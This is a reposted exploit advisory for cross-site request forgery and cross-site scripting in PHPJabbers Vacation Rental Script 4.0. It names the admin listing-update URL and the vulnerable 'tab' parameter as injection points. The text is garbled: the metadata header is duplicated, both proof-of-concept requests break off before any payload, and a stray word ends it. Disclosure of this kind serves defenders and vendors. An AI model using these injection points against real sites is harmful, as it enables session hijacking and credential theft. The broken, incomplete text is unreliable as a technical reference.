PHPJabbers Vacation Rental Script 4.0 Cross Site Request Forgery – Torchsec
# Exploit Title: PHPJabbers Vacation Rental Script 4.0 - CSRF
# Date: 05/08/2023
# Exploit Author: Hasan Ali YILDIR
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/vacation-rental-script/
# Version: 4.0
# Tested on: Windows 10 Pro
# Date: 05/08/2023
# Exploit Author: Hasan Ali YILDIR
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/vacation-rental-script/
# Version: 4.0
# Tested on: Windows 10 Pro
## Description
The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials
Technical Detail / POC
==========================
1. Login Account
2. Go to Property Page (https://website/index.php?controller=pjAdminListings&action=pjActionUpdate)
3. Edit Any Property (https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=21)
[1] Cross-Site Request Forgery
Request:
https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=21&tab="
[2] Cross-Site Scripting (XSS)
Request:
https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=21&tab="
Gloss